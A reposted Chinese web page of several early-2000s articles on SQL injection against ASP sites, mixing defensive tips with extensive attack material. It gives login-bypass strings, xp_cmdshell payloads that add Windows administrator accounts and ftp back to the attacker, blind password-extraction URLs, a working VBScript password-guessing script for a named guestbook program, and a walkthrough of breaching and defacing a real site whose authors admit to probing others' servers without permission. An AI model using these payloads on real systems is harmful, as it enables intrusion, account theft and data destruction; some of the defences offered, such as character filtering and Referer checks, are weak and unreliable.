安全交流:浅谈sql注入式(SQL injection)攻击与防范

news/2024/10/30 19:24:32/
没有系统的学习过asp或者php编程,也没有系统的学习过access、sqlserver、mysql等数据库,所以我不是一个程序员,虽然经常干一些类似程序员的事情。
因为要建立自己的站点,3次改版下来,多少也写了几千行程序,加上对一些论坛、留言板、文章发布系统的测试,也发现了一些问题,现在与大家探讨。
在写这篇文章的时候,我除了在本机建立asp+access、asp+sql server测试环境,还在××安全网站、××市人才网、××网络公司的网站上进行了部分测试,在此谨表示歉意!我是选择在凌晨2点~3点开始的测试,而且仅限于检索操作,所以可以肯定的说对贵站几乎没有什么影响,用1个小时流量略多换取我给你们的安全报告,我想不会太亏吧,呵呵!
1、bak文件泄漏asp源代码
很多编辑工具,如Editplus、UltraEdit,默认情况下在保存文件的时候,都会自动备份一个.bak文件。如创建或者编辑config.asp文件,则编辑器会自动生成一个config.asp.bak文件,如果没有删除该文件,攻击者可以通过 http://www.***.com/config.asp.bak来下载asp源程序。
可以想象,你的源程序被下载,被攻击的风险无疑大了很多。而如果是配置文件,呵呵,用户名、密码、数据库名称/位置……
解决办法:要么就直接关闭编辑器的自动备份功能,要么在上传的时候,删除所有.bak文件。
2、身份验证被绕过
一般网站有很多页面是需要身份验证通过以后才能访问的,而在这些页面需要对用户身份再次进行验证,但是很多程序员往往忽略了这一点。如果攻击者知道了这些页面的路径和文件名,就可以绕过身份验证,直接进入到该页面。如:需要用户通过login.asp页面登陆,经过身份验证才能打开manage.asp页面。攻击者可以通过 http://www.***.com/manage.asp直接进入管理界面。
解决办法:在这些的页面开头进行身份确认。如:在身份验证通过以后传递一个session("login")="ok",在manage.asp开头加入
以下内容为程序代码:
if session("login")<>"ok" then
response.redirect "login.asp"
end if

上面2点说的都是编程的基础问题,下面就来讨论本文的重点,关于sql注入式攻击与防范。
3、asp程序数据库密码验证漏洞
首先,关于request对象,我们知道,如果在form表单中使用get方法传递数据时,应该用QueryString集合来检索表单数据;而使用post方法传递数据时,应该用Form集合来检索表单数据。而更多的程序员为了方便,直接省略集合名称,使用request("data")来检索数据,看似简单,实际上效率很低,而且容易出错。asp默认搜索集合的顺序是QueryString、Form、Cookie、Serverariable,当发现第一个匹配的变量时,就认定是你要访问的成员。所以建议大家不要采用这种方法,题外话说完,我们转入正题。
先来看login.asp文件
以下内容为程序代码:
……
<form action="verify.asp" method="post" name="login">
用户名<input type=text name=name value="" maxlength="20">
密码<input type=password name=pwd value="" maxlength="20">
<input type=submit name=bt value="确认">
<input type=reset name=bt value="重置">
</form>
……

再来看verify.asp文件
以下内容为程序代码:
……
dim rs,sql
dim name,pwd
name=request.form("name")
pwd=request.form("pwd")
if name="" or pwd="" then
response.redirect "login.asp"
end if
……
'关于身份验证
sql="select * from user where name='"&name&"' and pwd='"&pwd&"'"
……

不要以为没有人会这样写,我见过很多很多,如果你相信我:),看看攻击者能做什么:
(1)我们在用户名位置输入【admin' or 1='1】,在密码区输入【11】。注:内容只有【】内的。看看sql会变成什么:
以下内容为程序代码:
sql=select * from user where name='admin' or 1='1' and pwd='11'
我们知道,or是一个逻辑运算符,在判断多个条件的时候,只要有一个成立,则等式就返回真,后面的and就不再进行判断了,也就是说我们绕过了密码验证,只要我们知道用户名就可以登陆该系统。
(2)我们也可以在用户名位置输入【admin' --】,在密码区输入【11】。再看看sql:
以下内容为程序代码:
sql=select * from user where name='admin' --' and pasword='11'
同样,通过连接符--注释掉了后面的密码验证,对access数据库无效。
(3)如果可以通过连接符注释掉后面的验证,那么就更有意思了,来看我们能作什么:
a、在用户名位置输入【admin';exec master.dbo.sp_addlogin Cool;--】,添加一个sql用户
b、在用户名位置输入【admin';exec master.dbo.sp_password null,123456,Cool;--】,给Cool设置密码为123456
c、在用户名位置输入【admin';exec master.dbo.sp_addsrvrolemember Cool,sysadmin;--】,给Cool赋予System Administrator权限
d、在用户名位置输入【admin';exec master.dbo.xp_cmdshell 'net user Cool 123456 /workstations:*
/times:all /passwordchg:yes /passwordreq:yes /active:yes /add';-- 】,给系统添加一个密码为123456的帐户Cool,并设置相关属性,关于net user命令可以参考这里。
e、在用户名位置输入【admin';exec master.dbo.xp_cmdshell 'net localgroup administrators Cool /add';--】,把cool用户添加到管理员组。
现在觉得恐怖了没有,当然我还没说完,实现这些必须是该站点使用sa或者system administrator权限的用户来连接数据库,普通的的虚拟空间是不用想了,除非管理员是SB。但是对于那些站点放在自己服务器上的网站,很难说哦,真的很难说,呵呵,我见过N个。
那如果不是sa,是不是就什么也不能做了,当然不是!只是不能获得太高权限来控制sql库和系统了,但是对这个库,我们还是拥有完整的管理权限。来看看我们能作什么:
a、输入【admin';delete user;--】,一旦他的表名就是user,就会删除user表里所有记录。够狠吧!你可千万别这么做哦!
b、输入【admin';insert into user (name,pwd) values ('cool','123456');--】,可以给user表添加一个用户,当然前提是表名和字段名都要正确。
c、输入【admin';update news set pwd='123456' where name='admin';--】,可以修改admin的密码,当然前提也是表名和字段名都要正确。
更多的攻击内容,你可以参考sql语法。
看来如果不是sa还是比较郁闷的,当然,我们也有一些简单的方法来判断网站是否使用sa来连接数据库。
a、在cmd中执行nc -l -p 21,监听本机的21端口;当然也可以采用火墙什么的。
b、输入【admin';exec master.dbo.xp_cmdshell 'ftp *.*.*.*'】,其中*代表你的ip地址,如果发现有连接,就可以断定是使用sa了,而且可以获得网站数据库的ip地址,因为有些网站web和sql是放在不同服务器上的;如果没有连接,则网站使用的是非sa帐户。
可能有的朋友已经看出来了,如果网站使用的是sa,我们可以通过页面从内部发起连接,可以构造ftp脚本,也可以使用tftp来上传文件,即使有火墙也是枉然。
也许有的朋友会说,人家在表单里已经这里了最大长度是20,你跟本就输入不了那么多!没事,难不倒我们。
方法一:
a、打开网站页面http:\\www.***.com\login.asp,查看源文件,把提交表单部分
以下内容为程序代码:
<form action="verify.asp" method="post" name="login">
用户名<input type=text name=name value="" maxlength="20">
密码<input type=password name=pwd value="" maxlength="20">
<input type=submit name=bt value="确认">
<input type=reset name=bt value="重置">
</form>
拷贝出来,存到本机login.htm
b、修改action为http:\\www.***.com\verify.asp,即:
以下内容为程序代码:
<form action="http:\\www.***.com\verify.asp" method="post" name="login">
用户名<input type=text name=name value="" maxlength="20">
密码<input type=password name=pwd value="" maxlength="20">
<input type=submit name=bt value="确认">
<input type=reset name=bt value="重置">
</form>

注意:有的网站这里的action为空,就需要你自己慢慢找找他提交到那里去了,呵呵,我遇到过这种情况,一般来说都是可以找到的。
c、修改maxlength,加大,再加大,要不就删除了!
d、从本地提交变量
方法二:
Cool.reg
9x用户:
以下内容为程序代码:
REGEDIT4
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt\给我加大>
@="c:\\cool.htm"
"contexts"=dword:00000004

2k用户:
以下内容为程序代码:
Windows Registry Editor Version 5.00
[HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\MenuExt\给我加大>
@="c:\\cool.htm"
"contexts"=dword:00000004

Cool.htm
以下内容为程序代码:
<script language=vbs>
set srcevent = external.menuarguments.event
set doc=external.menuarguments.document
set ele=doc.elementfrompoint( srcevent.clientx, srcevent.clienty )
if ele.type ="text" or ele.type="password" then
ele.maxlength=100
ele.size=100
end if
</script>

a、拷贝cool.reg的内容,保存,执行并确认。
b、拷贝cool.htm的内容,保存到指定位置,这里是c:\
c、打开网页 http://www.***.com,在输入框位置点击右键,会看到“给我加大”一项,点击即可
当然,我们可以修改cool.reg来改变cool.htm的路径以及文件名;也可以修改cool.htm来改变size和maxlength。
好了,说了这么多恐怖的东东,来看看怎么防范。
(1)过滤提交数据;我们可以通过
以下内容为程序代码:
……
dim name,pwd
name=request.form("name")
name=replace(name,"'","’") '替换半角'为全角'
name=replace(exp1,"-","") '替换-为空
name=replace(exp1,";","") '替换;为空
……

或者
以下内容为程序代码:
……
dim name,pwd
name=request.form("name")
if InStr(name,"'") or InStr(name,"-") or InStr(name,";") then
response.write("<script language=""JavaScript"">
alert(""error!"");history.go(-1);</script>")
response.end
end if
……

具体的过滤条件,或者替换还需要结合实际来使用。
(2)verify.asp文件本身验证的逻辑就是错误的,应该修改为:
以下内容为程序代码:
……
set rs=server.createobject("adodb.recordset")
sql="select * from user where name='"&name&"'"
rs.open sql,conn_data,1,1
'身份验证过程
if not rs.eof then
if pwd=rs("pwd") then
session("login")="ok"
response.redirect "/default.asp"
else
response.redirect "login.asp"
end if
else
response.redirect "login.asp"
end if
……

也就是说以用户名为条件检索数据库,用检索到的记录的密码与客户端输入的密码进行比较。
(3)对用户密码加密处理,网上有很多相关的加密过程,这里假定为encrypt(),则verify.asp就应该是
以下内容为程序代码:
……
set rs=server.createobject("adodb.recordset")
sql="select * from user where name='"&name&"'"
rs.open sql,conn_data,1,1
'身份验证过程
if not rs.eof then
if encrypt(pwd)=rs("pwd") then '这里对输入的密码进行加密处理
session("login")="ok"
response.redirect "/default.asp"
else
response.redirect "login.asp"
end if
else
response.redirect "login.asp"
end if
……

(4)用不同的用户帐户执行查询、插入、更新、删除操作。由于隔离了不同帐户可执行的操作,因而也就防止了原本用于执行SELECT命令的地方却被用于执行INSERT、UPDATE或DELETE命令。如果是大型官方站点,千万不要怕麻烦!
(5)通过数据库设置特定的存储过程,只允许特定的存储过程执行,所有的用户输入必须遵从被调用的存储过程的安全上下文,这样就很难再发生注入式攻击了。
(6)限制表单或查询字符串输入的长度。如果用户的登录名字最多只有20个字符,那么不要认可表单中输入的20个以上的字符,这将大大增加攻击者在SQL命令中插入有害代码的难度。当然,我们可以通过本地提交来绕过这个限制,但是也不是没有办法来控制,来看:
a、在取数据的时候,只取有效长度内的数据。
以下内容为程序代码:
……
dim name,pwd
name=left(request.form("name"),20)
……

b、在服务器确认提交位置
login.asp
以下内容为程序代码:
……
<form action="verify.asp" method="post" name="login">
<input type="hidden" name="referer"
value="<%=Request.ServerVariables("HTTP_REFERER")%>">
<input type="hidden" name="ser_name"
value="<%=Request.ServerVariables("SERVER_NAME%>">
用户名<input type=text name=name value="" maxlength="20">
密码<input type=password name=pwd value="" maxlength="20">
<input type=submit name=bt value="确认">
<input type=reset name=bt value="重置">
</form>
……

这里传递了2个参数referer,ser_name
verify.asp
以下内容为程序代码:
……
dim referer,ser_name
'取这2个参数
referer=Cstr(Request.ServerVariables("HTTP_REFERER"))
ser_name=Cstr(Request.ServerVariables("SERVER_NAME"))
'判断浏览器位置
if mid(referer,8,len(ser_name))<>ser_name then
response.redirect "login.asp"
end if
……

这样,如果你不是在该网站提交的数据,就不能够顺利登陆。
(7)检查提取数据的查询所返回的记录数量。如果程序只要求返回一个记录,但实际返回的记录却超过一行,那就当作出错处理。
4、网页传递参数不进行过滤处理
很多网站都存在这个问题,比如 http://www.***.com/show.asp?id=50,在没有对id进行过滤,或有效过滤的情况下,整个网站都处在非常危险的境地。
我们可以通过很简单的办法测试是否存在这个问题:
http://www.***.com/show.asp?id=50 and 1=1
如果页面显示正确,基本上可以断定它存在这个问题。
来看看攻击者能做写什么:
(1) http://www.***.com/show.asp?
id=50;exec master.dbo.sp_addlogin Cool;--
(2) http://www.***.com/show.asp?
id=50;exec master.dbo.sp_password null,
123456,Cool;--
(3) http://www.***.com/show.asp?
id=50;exec master.dbo.sp_addsrvrolemember
Cool,sysadmin;--
(4) http://www.***.com/show.asp?
id=50;exec master.dbo.xp_cmdshell 'net
user Cool 123456 /add';--
(5) http://www.***.com/show.asp?
id=50;exec master.dbo.xp_cmdshell 'net
localgroup administrators Cool /add';--
只要是表单中能提交的,这里基本都可以提交。
(6)猜表名
: http://www.***.com/show.asp?id=50 and
0<>(select count(*) from tablename),这里的tablename就是你猜测的表名。如果页面显示正常,则你猜测的表名是正确的。
(7)猜字段名:
http://www.***.com/show.asp?id=50 and
0<>(select count(fieldname) from tablename),这里的fieldname是表中某一字段名,如果页面显示正常,可以断定字段名称正确。
(8)在获得tablename和fieldname以后,就可以更进一步了。
比如是登陆系统,tablename是user,fieldname是id,name和pwd,看看能做些什么:
a、 http://www.***.com/show.asp?id=50 and 0<>
(select count(*) from user where id>1000)
粗略判断用户数量
b、 http://www.***.com/show.asp?id=50 and 1=
(select count(*) from user where id=1 and len(name)=10)
判断id为1的用户的用户名长度是否为10
c、 http://www.***.com/show.asp?id=50 and 1=
(select count(*) from user where id=1 and mid(name,n,1)='a')
判断id为1的用户的用户名的第n位是否为a
d、 http://www.***.com/show.asp?id=50 and 1=
(select count(*) from user where id=1 and len(pwd)=10)
判断id为1的用户的密码长度是否为10
e、 http://www.***.com/show.asp?id=50 and 1=
(select count(*) from user where id=1 and mid(pwd,n,1)='a')
判断id为1的用户的密码的第n位是否为a,如果你的密码没有加密,嘿嘿!
当然mid(pwd,n,1)也可以写成right(left(pwd,n),1),个人习惯了!
不过这样子一点一点的试,是不是太累了,那就自己用用perl写个小东东吧,挂个字典?呵呵,随你便!
另外,还有一个小技巧,可以让你很快的破解用户名和密码,我用这种方法,在10分钟内完成了猜表名、猜列名、破解一个10位长(其中5位汉字)的用户名、破解它的12位(1位汉字)密码,获得了××安全网站的后台管理员用户名和密码,不过其中有8项内容是通过社会工程学猜的,呵呵。只是有点郁闷的是我没有找到网站后台的登陆界面,郁闷ing……
a、 http://www.***.com/show.asp?id=50 and 1=
(select count(*) from user where id=1 and len(name)=10)
先确定用户名长度
b、 http://www.***.com/show.asp?id=50 and 1=
(select count(*) from user where id=1 and len(pwd)=10)
再确定密码长度
c、 http://www.***.com/show.asp?id=50 and 1=
(select count(*) from user where id=1
src(mid(name,1,1))<0)
判断用户名第一位是否为中文,如果是中文,一般都是负的好多
如果不是,一般范围都在27~126之间,可以使用
http://www.***.com/show.asp?id=50 and 1=
(select count(*) from user where id=1
src(mid(name,n,1))>60)
http://www.***.com/show.asp?id=50 and 1=
(select count(*) from user where id=1
src(mid(name,n,1))<100)
来确定范围,最终得出asc码值,通过对照(常用ASCII 码对照表)来获得第n位内容。
如果是中文,应该小于-32,768,可以使用
http://www.***.com/show.asp?id=50 and 1=
(select count(*) from user where id=1
src(mid(name,n,1))>-30000)
http://www.***.com/show.asp?id=50 and 1=
(select count(*) from user where id=1
src(mid(name,n,1))<-10000)
来确定范围,最终得出asc码值,通过转换获得第n位的内容,方法多多,许多编辑工具都有这个功能,也可以使用chr()函数直接输出进行转换。
d、同理,可以很快获得密码内容。
这里你是否也看到了刚才提到的request对象中省略集合名称的问题呢?!:)
解决办法:这类问题,主要是对传递参数的过滤和对数据合法性的验证。
限于个人水平,以上内容不一定完全正确,而且还有许多没有提及的地方,希望和大家更多的交流。 asp?id=980 width=1 height=1>
用vbs来写sql注入等80端口的攻击脚本
昨天晚上在机器里乱翻时无意打开一个vbs脚本,突然发现一个以前没有见过的对象Test.SendRequest("http://" & g_sServer & "/testfiles/browser.asp"),虽然对象没有见过,但是意思很明显:发送http请求。本来以为是WMI script API的东东,但是没有找到创建对象的语句,这个脚本在Microsoft ACT里,Microsoft ACT是Visual Studio.Net带的一个测试站点的工具(Long,未来有用过这个吗?如果没有,你看这个如何?),以前打开过,但是没有研究过如何使用,于是我打开帮助文件(查过MSDN里有:ms-help://MS.VSCC/MS.MSDNVS.2052/act/htm/actml_main.htm),大致的读了一下,竟然是一整套的HTTP客户端对象(不知道这样说是不是准确),把对象和属性列出来,你看了就可以知道了,以下是Test对象模型,还有个application对象模型,如果你有深入了解的兴趣请看msdn,我还在学习中:
-Connection对象
Close方法
Send方法
IsOpen属性
Port属性
RedirectDepth属性
Server属性
UseSSL属性
-Cookie对象//因为是测试站点的,用脚本程序模拟多用户,这个可以用来设置每个用户的cookie,那也该可以用来做手脚,呵呵
Expires属性
Name属性
Path属性
&#118alue属性
-Cookies对象
Add方法
Remove方法
RemoveAll方法
Count属性
Item属性
-Header对象
Name属性
&#118alue属性
-Request对象
Body属性
CodePage属性
EncodeBody属性
EncodeQueryAsUTF8属性
Headers属性
HTTPVersion属性
Path属性
ResponseBufferSize属性
Verb属性
-Response对象
Body属性 //获取 HTTP 响应的正文。仅返回响应缓冲区中的正文部分。
CodePage属性
BytesRecv属性
BytesSent属性
ContentLength属性
Headers属性
HeaderSize属性
HTTPVersion属性
Path属性
Port属性
ResultCode属性
HTTP状态代码
Server属性
TTFB属性
TTLB属性
UseSSl属性
-Test对象
CreateConnection方法
CreateRequest方法
GetCurrentUser方法
GetGlobalIndex方法
GetGlobalVariable方法
GetNextUser方法
IncrementGlobalIndex方法
SendRequest方法
SetGlobalIndex方法
SetGlobalVariable方法
Sleep方法
Trace方法
TraceLevel属性
-User对象
Cookies属性
Name属性
Password属性
到此,你也许会想到很多用处,比如测试站点,测试服务器,测试程序,Cookie伪造...看你的想象力了,我第一件感兴趣的是开头提到的那句:Test.SendRequest("http://" & g_sServer & "/testfiles/browser.asp"),Test对象的SendRequest方法说明:
oResponse = Test.SendRequest(strURL)
参数:strURL as string:表示所请求的URL
返回值:oResponse As Reponse:表示代表响应请求的Web服务器响应的对象(就是上面的Response对象)
这个对象让我们可以很容易的写出针对80端口的攻击程序,如溯雪的功能,现在流行sql injection,网上的sql injection的攻击程序大都用perl写的,我又不会perl,用C写一个完整的socket程序相对烦琐一些,是这个对象为vbs提供了可能,而且程序相当简单,虽然牺牲了效率,但是对于我们菜鸟不失为一个好办法,下面就举一个例子来说明:
风月同学录是一套免费的asp同学录程序,可能你没有听说过,不过在同学录类的免费web程序中算是功能出色的了,所以有不少站点采用了或者修改后使用了它(我念过的那所高中的网站的同学录就是用的这套程序改写的),我手上有V1.60,去年从网上down下来的,写这篇时在寝室,上不了网,也无法得到最新的版本了,反正也只是个例子,就凑合用吧,呵呵。大致看了一些代码发现多处可以注入的地方,最明显(因为在首页就看到)的就是它的一个论坛形式的留言板ShowThread.asp里:
...
topicid=request("RootID")
sql="select topic,hits from bbs
where parentid=0 and bbsid="&topicid
set rs=conn.execute(sql)
...
非常古老且经典的一个,呵呵,试了下:
http://192.168.101.16/txl/
ShowThread.asp?RootID=7%20and%201=1
http://192.168.101.16/txl/
ShowThread.asp?RootID=7%20and%201=2
数据表结构我都知道,用户名也都可以在用户列表看出来,那么这个例子就演示一下猜解密码,什么?太简单了?只是个例子嘛,别笑哦~~写的时候也不是一帆风顺~~写的很差,尤其循环里如果探测到正确的就应该退出循环,但是想不起来怎么退出了(break?exit?),不过对于这个密码明文存放的程序来说已经够了,一个6位的密码用了15秒左右猜出,改进下会提高不少,但效率上始终和perl不能比了。
要使用这个对象要装Microsoft ACT是Visual Studio.Net里一个工具,我在另一台机器上直接用regsrv32注册相关的dll失败了,所以还是要装一下。
*********************************************
风月同学录V1.60漏洞测试脚本 by luoluo
注意:需要装Visual Studio.Net里的ACT工具
*********************************************
Option Explicit
On Error Resume Next
Dim Test
Dim o_Response
Dim Wrong
Dim i,j,k
Dim pwd_len
Dim pwd
Dim strings
Dim username
从命令行得到要破解的人的用户名
If WScript.Arguments.Count > 0 Then
username = WScript.Arguments(0)
Else
username = "luoluo"
End If
WScript.Echo "开始探测,请等待... ..."
正确页面的标志,这个随便找的,因为只要是两个页面返回的不同部分就可以了
Wrong = "luoluoisachinesehacker"
存放密码
pwd = ""
密码的字符范围
strings = "0123456789abcdefghijklmnopqrstuvwxyz"
建立对象
Set Test = CreateObject("ACT.Test")
得到用户的密码的长度
For i = 0 to 128 step 1
发送请求,返回一个Response对象,地址长可以用&分成段,那样好看一些
Set o_Response = Test.SendRequest
("http://192.168.101.16/txl/ShowThread.asp?RootID
=7%20and%20exists%20
(select%20userid%20from%20student%20where%20len
(userpwd)=" & i & "%20and%20userid=" & username & ")")
如果返回的页面里有正确标志那么长度就对了
If instr(o_Response.Body, Wrong) <> 0 Then
pwd_len = "" & i & ""
End If
Next
猜解用户的密码
For j = 1 to pwd_len step 1
For k = 1 to len(strings) step 1
Set o_Response = Test.SendRequest
("http://192.168.101.16/txl/ShowThread.asp?
RootID=7%20and%20exists%20
(select%20userid%20from%20student%20where%20left
(userpwd," & j & ")=" & pwd & mid(strings,k,1)
& "%20and%20userid=" & username & ")")
If instr(o_Response.Body, Wrong) <> 0 Then
pwd = pwd & mid(strings,k,1)
End If
Next
Next
If err Then
WScript.Echo "错误:" & Error.Description
Error.Clear
Else
输出密码
WScript.Echo "密码:" & pwd
End If
Set Test = nothing
SQL注入入侵动网SQL版论坛
现在动网最新版本是7.0+SP2。应该说安全性已经是很高的了。所以从脚本本身的问题去突破它难度不小。但是我们可以从外部的一些途径间接“搞定”动网.现在IIS+ASP+SQL2000的组合是比较常见的。而一个网站运用大量的ASP脚本程序,难免不出纰漏。如果一台主机上存在某个SQL注入点,而这台主机又安装有动网SQL版的话,基本上可以得出结论:这个动网就是你的了。下面来看一下实例。
  一、 首先确定目标
  假设以下URL存在SQL注入:
http://www.loveyou.com/type.asp?id=6 测试能否注入可以在6后面加个单引号。
http://www.loveyou.com/type.aspid=6' 返回错误提示:
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]字符串 '' 之前有未闭合的引号。
  继续,先探测一下系统版本:
http://www.loveyou.com/type.asp?id=(select @@version)--
  返回:
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver]
[SQL Server]将 nvarchar 值 'Microsoft SQL Server
2000 - 8.00.760 (Intel X86) Dec 17 2002
14:22:05 Copyright (c) 1988-2003 Microsoft Corporation
Standard Edition on Windows NT 5.0 (Build 2195: Service Pack 4) ' 转换为数据类型为 int 的列时发生语法错误。
  看来已经打上最新的SP4补丁。
  取得当前连接数据库用户:
http://www.loveyou.com/type.asp?id=(select user_name())--
  返回:
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver]
[SQL Server]将 nvarchar 值 'webuser' 转换为数据类型为 int 的列时发生语法错误。
  从错误信息中得到当前数据库用户为:webuser
  取得当前连接数据库名:
http://www.loveyou.com/type.asp?id=(select db_name())--
  返回:
Microsoft OLE DB Provider for ODBC Drivers 错误 '80040e07'
[Microsoft][ODBC SQL Server Driver][SQL Server]将 nvarchar 值 '01city' 转换为数据类型为 int 的列时发生语法错误。
  从错误信息中得到当前数据库名为: 01city
  接下来测试下权限:(注:因为我们的目的是搞定动网而不是侵占系统。所以数据库权限对我们不是很重要。)
http://www.loveyou.com/type.asp?id=
(SELECT IS_SRVROLEMEMBER('sysadmin'))--
  返回错误信息。提示当前记录已删除。看来权限果然不是很高耶。继续,
http://www.loveyou.com/type.asp?id=
(SELECT%20IS_MEMBER('db_owner'))--
  正常显示信息,看来连接数据库拥有的权限是DB_OWNER(DOWN数据库所有者。但对操纵数据是绰绰有余了。
利用SQL注入2分钟入侵网站全程实录
说起流光、溯雪、乱刀,可以说是大名鼎鼎无人不知无人不晓,这些都是小榕哥的作品。每次一提起小榕哥来,我的崇拜景仰就如滔滔江水,连绵不绝~~~~(又来了!) 让我们崇拜的小榕哥最新又发布了SQL注入工具,这回喜欢利用SQL注入入侵网站的黑友们有福了。小榕哥的工具就是强!偶用它来搞定我们本地的信息港,从寻找注入漏洞到注入攻击成功,通过准确计时,总共只用了3分还差40秒,呵呵,王者风范,就是强啊!不信吗?看看我的入侵过程吧。
  一、下载榕哥的工具包
  小榕哥的这个SQL注入攻击工具包在榕哥的站点 http://www.netxeyes.com/main.html可以下载到,不过这个工具太火爆了,下载的人实在太多,你觉得慢的话,可以到其它大的黑软站点搜索一下,绝对可以找到的。
  下载来的这个工具包中总有两个小程序:"wed.exe"和"wis.exe",其中"wis.exe"是用来扫描某个站点中是否存在SQL注入漏洞的;"wed.exe"则是用来破解SQL注入用户名密码的。两个工具的使用都非常简单,结合起来,就可以完成从寻找注入点到注入攻击完成的整个过程。
  二、寻找SQL注入点
  "wis.exe"使用的格式如下:"wis.exe 网址",这里以笔者检测本地信息港为例:首先打开命令提示窗口,输入如下命令:"wis.exe http://www.as.***.cn/"。

小提示:在输入网址时,前面的"http://";和最后面的"/"是必不可少的,否则将会提示无法进行扫描。
  输入完毕后回车,即可开始进行扫描了。很快得到了扫描结果,可以看到这个网站中存在着很多SQL注入漏洞,我们随便挑其中一个来做试验,就挑"/rjz/sort.asp?classid=1"吧。

打开浏览器,在地址栏中输入"http://www.as.***.cn/rjz/sort.asp?classid=1",打开了网站页面,呵呵,原来是一个下载网页。现在来对它进行SQL注入,破解出管理员的帐号来吧!
 三、SQL注入破解管理员帐号
  现在进入命令窗口中,使用刚才下载的工具包中的"wed.exe"程序,命令使用格式为:"wed.exe 网址"输入如下命令:"wed.exe http://www.as.***.cn/rjz/sort.asp?classid=1"。回车后可看到命令运行情况。
小提示:这次输入网址时,最后面千万不要加上那个"/",但前面的"http://";头也还是必不可少的。
  可以看到程序自动打开了工具包中的几个文件,"C:\wed\wed\TableName.dic"、
"C:\wed\wed\UserField.dic"和"C:\wed\wed\PassField.dic",这几个文件分别是用来破解用户数据库中的字表名、用户名和用户密码所需的字典文件。当然我们也可以用其它的工具来生成字典文件,不过想想小榕哥以前出的"黑客字典"那么的强大,还用得着去多此一举吗?
  在破解过程中还可以看到"SQL Injection Detected."的字符串字样,表示程序还会对需要注入破解的网站进行一次检测,看看是否存在SQL注入漏洞,成功后才开始猜测用户名。
  开始等待吧!呵呵,很快就获得了数据库表名"admin",然后得到用户表名和字长,为"username"和"6";再检测到密码表名和字长,为"password"和"8"。看来用户的密码还起得挺长的呢,如果手工破解出这个用户密码来,一定要花上不少时间的!

正想着手工注入会有多困难时,"wed.exe"程序已经开始了用户名和密码的破解。很快的,就得到了用户名和密码了——"admina"、"pbk&7*8r"!天啦,这也太容易了吧!还不到一分钟呢
四、搜索隐藏的管理登录页面
  重新回到刚才的软件下载页面中,任意点击了一个软件下载链接,哎呀?怎么可以随便下载的呢!不像以前碰到的收费网站,要输入用户名和密码才可以下载。看来这是免费下载的网站,我猜错了攻击对象,不过既然都来了,就看看有没有什么可利用的吧?
  拿到了管理员的帐号,现在看来我们只有找到管理员登录管理的入口才行了。在网页上找遍了也没有看到什么管理员的入口链接,看来还是得让榕哥出手啦!
  再次拿出"wis.exe"程序,这个程序除了可以扫描出网站中存在的所有SQL注入点外,还可以找到隐藏的管理员登录页面。在命令窗口中输入
"wis.exe http://www.as.***.cn/rjz/sort.asp?classid=1/ /a"。注意这里输入了一个隐藏的参数"/a"。
怎么会扫描不成功呢?呵呵,原来这是扫描注入点,当然不能成功了,管理员登录页面只可能隐藏在整个网站的某个路径下。于是输入"wis.exe http://www.as.***.cn/ /a",对整个网站进行扫描。注意扫描语句中网址的格式。程序开始对网站中的登录页面进行扫描,在扫描过程中,找到的隐藏登录页面会在屏幕上以红色进行显示。很快就查找完了,在最后以列表显示在命令窗口中。可以看到列表中有多个以"/rjz/"开头的登录页面网址,包括"/rjz/gl/manage.asp"、"/rjz/gl/login.asp"、"/rjz/gl/admin1.asp"等。就挑"/rjz/gl/admin1.asp"吧,反正这些都是管理员登录的页面想用哪个都可以。
  在浏览器中输入网址" http://www.as.***.cn/rjz/gl/admin1.asp",呵呵,出现了本来隐藏着的管理员登录页面。输入用户名和密码,就进入到后台管理系统,进来了做些什么呢?当然不能搞破坏啦,看到有一个添加公告的地方,好啊,就在这儿给管理员留下一点小小的通知吧!

看看最后我更改过的主页,冰河洗剑的大名留在了信息港上,不过可没有破坏什么东西啊!我和网页管理员也是朋友,他会原谅我这个小小的玩笑吧!?
三步堵死SQL注入漏洞
SQL注入是什么?
  许多网站程序在编写时,没有对用户输入数据的合法性进行判断,使应用程序存在安全隐患。用户可以提交一段数据库查询代码(一般是在浏览器地址栏进行,通过正常的www端口访问),根据程序返回的结果,获得某些想得知的数据,这就是所谓的SQL Injection,即SQL注入。
网站的恶梦——SQL注入
  SQL注入通过网页对网站数据库进行修改。它能够直接在数据库中添加具有管理员权限的用户,从而最终获得系统管理员权限。黑客可以利用获得的管理员权限任意获得网站上的文件或者在网页上加挂木马和各种恶意程序,对网站和访问该网站的网友都带来巨大危害。
防御SQL注入有妙法
  第一步:很多新手从网上下载SQL通用防注入系统的程序,在需要防范注入的页面头部用来防止别人进行手动注入测试(。
  可是如果通过SQL注入分析器就可轻松跳过防注入系统并自动分析其注入点。然后只需要几分钟,你的管理员账号及密码就会被分析出来。

第二步:对于注入分析器的防范,笔者通过实验,发现了一种简单有效的防范方法。首先我们要知道SQL注入分析器是如何工作的。在操作过程中,发现软件并不是冲着“admin”管理员账号去的,而是冲着权限(如flag=1)去的。这样一来,无论你的管理员账号怎么变都无法逃过检测。
  第三步:既然无法逃过检测,那我们就做两个账号,一个是普通的管理员账号,一个是防止注入的账号,为什么这么说呢?笔者想,如果找一个权限最大的账号制造假象,吸引软件的检测,而这个账号里的内容是大于千字以上的中文字符,就会迫使软件对这个账号进行分析的时候进入全负荷状态甚至资源耗尽而死机。下面我们就来修改数据库吧。
  1.对表结构进行修改。将管理员的账号字段的数据类型进行修改,文本型改成最大字段255(其实也够了,如果还想做得再大点,可以选择备注型),密码的字段也进行相同设置。
  2.对表进行修改。设置管理员权限的账号放在ID1,并输入大量中文字符(最好大于100个字)。
  3.把真正的管理员密码放在ID2后的任何一个位置(如放在ID549上)。
  我们通过上面的三步完成了对数据库的修改。
  这时是不是修改结束了呢?其实不然,要明白你做的ID1账号其实也是真正有权限的账号,现在计算机处理速度那么快,要是遇上个一定要将它算出来的软件,这也是不安全的。我想这时大多数人已经想到了办法,对,只要在管理员登录的页面文件中写入字符限制就行了!就算对方使用这个有上千字符的账号密码也会被挡住的,而真正的密码则可以不受限制。

http://www.ppmy.cn/news/271519.html

相关文章

Perl打造溯雪拙劣仿制品

